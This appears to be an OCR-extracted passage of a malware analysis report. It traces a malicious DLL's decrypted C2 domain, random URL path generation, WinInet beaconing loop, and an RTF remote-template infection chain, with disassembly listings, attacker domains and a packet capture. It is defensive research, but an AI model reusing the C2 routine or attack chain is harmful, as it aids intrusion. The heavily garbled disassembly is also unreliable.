P30851DQ| 00 00 0D 0O |00 0D 0O 00|00 0D 0D 00|00 0D PO OO .- ... .- - - e-.n
P3IO851ER| 00 00 00 00 |00 00 00 0O (00 00 0D PO |00 00 PO QD] ......cccveenunnn
@30851F0| 00 00 00 OO0 |00 00 0D @0 |00 OO0 OO Q0|00 B0 00 0B| .. .v.s i i nnnann
P3085200| 00 00 0O 0O |00 0O 0O 00|00 0O 0D DO |00 OO PO 00| ....cvveveennnnn
P308521P |00 00 00 0O 0D 00 00 OO (00 00 0D DO |00 00 PO QD] .....cvviveennnnn
P308522Q| 00 00 0D 0O |00 0D 0D 00|00 0D 0D 00|00 OO PO OD|...ccvuereennnnn
P3085230| 00 00 0O 0O |00 0O 0O 00|00 0O 0D DO |00 OO PO 00| ....cvveveennnnn
P308524P |00 00 00 0O 0D 00 00 OO (00 00 0D DO |00 00 PO OB .....cvveveennnnn
P308525Q| 00 00 OO 0O |00 0D 0O OO (0D 0D OD OO |BB @1 00 0T - - .- | e
@3@85260|10 27 00 00 |4D 6F 7A 69 |6C 6C 61 2F |35 2E 320 2d|.'..Mozilla/5.
@308527@|28 57 69 BE |64 6F 77 73(20 4E 54 20|31 30 2E 39| (Windows NT 10.0
3085280 3B 20 57 69 |6E 36 34 3B(20 78 36 34|29 20 41 7d|; Win64; x64) Ap
P308529@| 7@ &C 65 57|65 62 4B €9 (74 2F 35 33 (37 2ZE 33 3§ pleWebKithB?.36
@30852A0| 20 28 4B 48|54 4D 4C 2C|20 6C 69 6B|65 20 47 69| (KHTML, like Ge
@30852B0|63 6B 6F 29|20 43 68 72|6F 6D 65 2F|37 30 2E 3d|cko) Chrome/78.0
@3@852CA|2E 33 35 33 (38 2E 31 30|32 20 53 61|66 61 72 69|.3538.102 Safari
@3@852D@| 2F 35 33 37 |2E 33 36 20|45 64 67 65|2F 31 38 2H|/537.36 EdgEflS.
P30852EM|31 38 33 36|32 00 00 00 (00 00 0D 0O |00 0D PO 0| 18362......cc.u.

Generate URL path

Figure 22: Decrypted data

The malware also will generate random strings to be used as the URL path when making a
connection with the attacker's C2 server. The figure below shows the function that will return
and save the random string that is to be appended to the URL as the URL path.
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LLEALTABE16E1 loc_74BE1601:
Jdext:TeBE1681 call _ramd

LtextTAEE1GBE xor eds, edx

Stext:T4EE1EE8 mov eck, JEh ;

Ltext 74881680 div CK

et T48R168F mov al, byte ptr ds:all2345678%abcdleds] W1234567TBRABLDEFGHT JKLMROPORSTUVIE Y 2l

et THEE16CS mav [ebp+edi-2380], al
Jtext i TRBE16CC inc edi

Jtext:TRSELELD cap edi, esi
Ltext TAEB1ECF jl short loc_T4881681
] s =1
et 74881601 xorps EL O T ] : Eax = CcEXOELySNT (ramdom valuwe)
et i TABB16D4 mov byte ptr [ebpeesi-238h], @
JLEat: TABR16DC lea ecx, [ebp-238h]
Jtext:TAERIGED movipd quord ptr [Ehp--'+9|51]. =rrid
Lteat:TAEB1BEA Nor esi, esi
Ltoat:TAEB1EEC lea pds, [wcusl]
LLEEL i TABELGEF nap

I.‘

FPE
LTRAL i T4RE1EFR

Ltexl: TARE1GFD loc_7LB816FD:
et TRBE1GFR mov al, [eex]

Jtext:TRBR16F2 inc BCR
Jtext:TAEE1EFI test al, al
.text:TAEB1EFS jnz short loc_T&BE1GFD)

—

=] Create random slrings for url path
At i THEB1EFT mov adi, [ebp-a9ah]

et THBE1G6FD mov sax, [ebp-4%8h]

Jtext:TAAR1T03 sub pex, =dx

Jtext:TAEB1TOS jr short loc_F&BE172C)

1
[l i 1
Leat i TAER1TAT mow [ebp=-435h], eax

Jeal: TARELTOD nap dword pte [eax]

vy

=
LAREt i TAEE1TIR
eI TAEELTIR loc_Y4B81710:
et TAARITID movss eax, byte ptr [ebpiesi-238h]
Ltext:TAEE1TIE cdg

Ltext:THEE1719 add [ebp-485h], cax
LAeAUiTHEE1TIF adc edi, edx

JLexl: TRBE1TZL inc esi

Jtext: TABE1T22 cmp esi, ecx
Ltext:TaEE17Z4 jb short loc_74B83171R0

[l e 1
LAt i TARELTZE mov eax, [ebp-s84h]

9

(il s 1

At s THEB172C

et TBB1TZC Loc_THBE1T20:
et TAAR1TIC push 0
~text:TR8E17ZE push 280h
Lot 74881733 push edi
LAeal:THEE1734 push 2ax

et TAAR1TES call _allren
Jtext:TRAR1T3A cmp eax, %1h ;
Lbext:T48B1730 jnz loc_T4BE1EAR : Return value after @=51 = BZDEFI5S3 BI9MLTHAjvCumé

Figure 23: Function routine use to create random string for URL path

The loop will generate arbitrary characters as the random string.
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Command and Control connection

Upon decrypting the domain name and generating random characters for the URL path, the
malware will then invoke a function that will be used to create the C2 connection at the end
of the function "malicious_function".

il e =

Ltext:74881C4F
Ltext:74881C4F
Ltext:74881C4F
Ltext: 74881054
Ltext:74881C56
Ltext:74881C58
.text:74581C00
Ltext:74881C63
text:74881C607
Ltext:74881C6C
text:74881C6E
text:74881C70
Ltext:74881C75
text:74881C77
Ltext:74881C78
Ltext:74881C70
text:74581C80
.text:74881C82
Ltext:74881C83
text:74881C88
.text:74881C8E
Ltext:74881C95
text:74881C97
Ltext:74881C9C
Ltext:74581C9E
.text:74881C9E
text:74881C9E

loc_74881C&F: 7 S5ize

push 23Ch

push Q ; val

push offset encrypted_domain_user_agent ; void *
call _memset

add esp, OCh

lea edi, [esp+250h+var_240]

mow ecx, 8Fh

mow es5i, ebx

rep movsd

push
push
push
call
add
push
push
call
sub
lea
mow

mow

rep movsd /

call

malicious_function endp

23Ch ; Size

i} ; val
ebx ; owold *
_memset

esp, @Ch

1

ehbx

wrap_free_base

esp, 234h

esi, [esp+&8Ch+var_240]

edi, esp

ecx, &Fh Create C2 connection after decrypt gd

wrap_C2_connection

main and user-agent

Figure 24: C2 Connection function being call

As we see in the first activity of the "malicious_function" function, the function previously
used LoadLibraryA to load the Winlnet library. The lifecycle for the WinInet to be used as a
C2 connection is pretty simple.

As shown in the figure below, it will start to initialize the library by calling InternetOpenA with
the decrypted user agent string "Mozilla/5.0" user-agent as IpszAgent parameter.
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C685 COFDFFFF @@
~ EB 2B
B9 71D62834
ES GAF7FFFF
85C0
~ @F84 01030000
6A 00
6A 00
6A 00
6A 00
8D8D 24FCFFFF

mov byte ptr ss:flebp-240],0

jmp googleservices.748818B7

mov ecx,3428D671

call <googleservices.resolve_fn_name>
test eax,eax

je googleservices.74881B9F

push @

push @

push @

push @

lea ecx,dword ptr
push ecx

call eax

ss:[lebp-3DC]

ecx:"Mozilla/5.0 (Windows NT 1@.0; Win64; x64) A

ecx:"Mozilla/5.0 (Windows NT 1@.0; Win64; x64) A
InternetOpenA

Figure 25: InternetOpenA being call

Using the decrypted domain name as parameter [pszServerName of InternetConnectA, the
malware initiates the connection by opening an HTTP session for the given site where the
ESI value contains InternetOpenA handle.

=

Ltext:7EE815BF mow
Ltext:748818C4 call
Ldext: 74881809 test
.text:748818CB jz

ecx, 744719F3h

wrap_function_resolve_runtime

eax, eax 7 InternetConnectA

loc_74£881B71

il s =

Ltext:7E881801
Ltext:7E881803
Ltext:7&881805
Ltext:7E881807
Ltext:7EE51809
Ltext: 74381806

Ltext:7EEE18F3

push
push
push
push
push
push

test
jz

a
a
3
a
@

dword ptr [ebp-3Esh] ; 1BB

-text:748818E1 lea ecx, [ebp-480h]

.text:748818E7 push ecx ; mclartyc.com
.text:748818E8 push esi

Ltext:748818BE9 call eax ; InternetConnectA
.text:748818EB mov [ebp-%88h], eax

Sdext:748818F1 eax, eax

loc_74881B71

Figure 26: InternetConnectA

After that, the sample builds an HTTP request handle with the HttpOpenRequestA function
along with HttpSendRequestA to send the HTTP Request shown in figure 27 and figure 28.
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=

.text:74881989 push 0
.text:7488198B push 84A03300h0
Ltext:74881990 push 0
Ltext:74881992 push 0
Ltext:74881994 push Q

Ltext:74881996 lea ecx, [ebp-120h]

Ltext:7488199C push BCK ; B2ZOML7BAjJvcumb

Ltext: 74881990 push offset aGet ; "GET"

.text:748819A2 push esi ; handle InternetConnect
Ltext: 74881943 call eax ; HttpOpenRequestA
Ltext: 74881945 mov edi, eax

Ltext: 74881947 test edi, edi

Ltext: 74881949 jz loc_74381B5A

Figure 27: HttpOpenRequestA

Ll s =]

.text:736F19EY push
Ltext:736F19E9 push
.text:736F19EB push
.text:736F19ED push
.text:736F19EF push edi

= S S =

Ltext:736F19F0 call Bax ; HttpSendRequestA
Ltext:736F19F2 test 23ax, eax
Ltext:736F19F% jz loc_736F1B49 ; Goes right

Figure 28: HttpSendRequestA

Lastly, the sample will pass the handle to InternetReadFile to read the actual data which
probably means that the specimen is reading the response of the GET request to the URL
domain mclartyc[.Jcom.

In our case here, the domain mclartyc|[.Jcom has been resolved to the loopback address

127.0.0.1 by the attacker. Hence, deep analysis on behavior of the C2 interaction with
compromised machine cannot be done.
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22 2022-04-03
23 2022-04-03
24 2022-04-03
25 2022-04-03
26 2022-04-03
27 2022-04-03
28 2022-04-03
29 2022-04-03
30 2022-04-03
31 2022-04-03

35 2022-04-03
36 2022-04-03

38 2022-04-03

40 2022-04-03

06:14:01.698862
06:14:01.698862
06:14:01.703725
06:14:01.703749
06:14:01.709154
06:14:01.709198
06:14:03.640386
06:14:03.667143
06:14:03.833330
06:14:03.864256

06:14:05.990170
06:14:05.990477

06:14:06.004540

06:14:06.063676

Tme
4.187940
4.187940
4.192803
4.192827
4.198232
4.198276
6.129464
6.156221
6.322408
6.353334

8.479248
8.479555

8.493618

8.552754

Source Destination port
104.89.120.43 192.168.80.135 15538
202.188.238.138 192.168.80.135 15537
202.188.238.138 192.168.80.135 15537
192.168.80.135 202.188.238.138 80
104.89.120.43 192.168.80.135 15538
192.168.80.135 104.89.120.43 80
192.168.80.135 192.168.80.2 53
192.168.80.135 192.168.80.2 53
192.168.80.2 192.168.80.135 59968

192.168.80.2 192.168.80.135

152.199.40.6 192.168.80.135
20.190.144.162 192.168.80.135

192.168.80.135 152.199.40.6

192.168.80.135 20.190.144.162

host

Protocel

TCcP
TCP.
TCP.
TCP
TCP
TCP.

Length  Info

6080 > 15538 [ACK]
60 80 > 15537 [ACK]
6080 > 15537 [FIN,
5415537 > 80 [ACK]
6080 > 15538 [FIN,
54 15538 > 80 [ACK]

Seq=1 Ack=2 Win=64239
Seq=1 Ack=2 Win=64239
PSH, ACK] Seq=1 Ack=2
Seq=2 Ack=2 Win=64240
PSH, ACK] Seq=1 Ack=2
Seq=2 Ack=2 Win=63977

72 Standard query @xf2ba A mclartyc.com
72 Standard query @xf2ba A mclartyc.com

Len=0
Len=0
Win=64239 Len=0
Len=0
Win=64239 Len=0

Len=0

88 Standard query response 0xf2ba A mclartyc.com A 127.0.0.1
88 Standard query response @xf2ba A mclartyc.com A 127.0.0.1

60 443 > 15508 [ACK]
60 443 > 15506 [ACK]

54 15508 » 443 [ACK]

54 15506 > 443 [ACK]

ble (Port un

Seq=1 Ack=2 Win=6423'
Seq=1 Ack=2 Win=6423'

Seq=2 Ack=2 Win=6553

9 Len=0
9 Len=0

5 Len=0

Based on VirusTotal, the resolved IP address of the domain would be 139.177.184.80.

Figure 29: Attacker's DNS resolved to 127.0.0.1

@ 1detected files communicating with this domain

mclartyc.com

% Communty (s

Score

DETECTION

Categories

Forcepoint ThreatSeeker

Comedo Valkyrie Verdict

DETAILS

RELATIONS COMMUNITY

media sharing

newly registered websites

Last DNS Records
Record type TTL Value
| A 3603 139.177.184.80
NS 21600 ns3.dnsowl.com
NS 21500 ns2.dnsowl.com
NS 21600 nsl.dnsowl.com
— SOA 21600 nsl.dnsowl.com

Creation Date

21days ago

Last Updated
19 days ago

@

By the end of the malicious function, the program will call the sleep function before it loops to

Figure 30:

mclartyc[.Jcom IP Address

the previous generate URL path strings function and create a C2 connection back.
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FIEE

Ltext:74£381B9F

Ltext:74881B9F loc_74881B9F: ; dwMilliseconds
.text:74881B9F push dword ptr [ebp-3E0h]
Ltext:74881BA5 call ds:Sleep

.text:74881BAB jmp loc_74B881660

Mal

Figure 31: Call sleep function

icious DLL summary

The

1.

N o ok~ WN

DLL's main activities are as follows:

Resolve a lot of function names during runtime

. Create registry name "Google notification" with the value of GoogleDesktop's path
. Decrypt C2 domain and user-agent strings

. Generate random URL path strings

. Create connection to C2 server (Domain already resolved to 127.0.0.1)

. Sleep

. Repeat step 4

Overall behavior scenario

~NOo ok WN -

. Victim open RTF document

. RTF load remote template from hxxps://mckeaguee[.Jcom/

. Microsoft Word .doc (template) file contains malicious macro loaded

. Macro executed

. Retrieve another doc file contains malicious inline shape (EXE and DLL)
. EXE and DLL dropped

. EXE execute and DLL will be load

Conclusion

Netbytesec team believes the samples are linked to Malaysia as the name and content of the

RTF

samples containing Cyber Security Malaysia's acronym name, CyberGuru logo, and

Malaysia Ministry of Communications and Multimedia's emblem. The sample also can be
speculated that the malware was crafted by our own local Malaysian threat actor or might be

from

an outsider or it might come from red team operator out there. The attacker takes

advantage of the RTF template ability to leverage RTF remote template injection to load
malicious templates in the runtime. Even though the potentially dropped DLL has a unique

way

to resolve a lot of Windows API functions names during the runtime, the malicious
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software have simple malicious behavior and characteristics towards its victim which creates
a persistent mechanism registry and connects to the C2 server.
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